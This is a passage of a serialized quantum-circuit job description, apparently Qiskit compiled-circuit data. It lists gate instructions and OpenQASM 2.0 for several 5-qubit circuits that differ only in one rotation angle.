-1.5707963267948966, 1.5707963267948966], 'texparams': ['3.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1259', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1261', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1263', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1265', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': 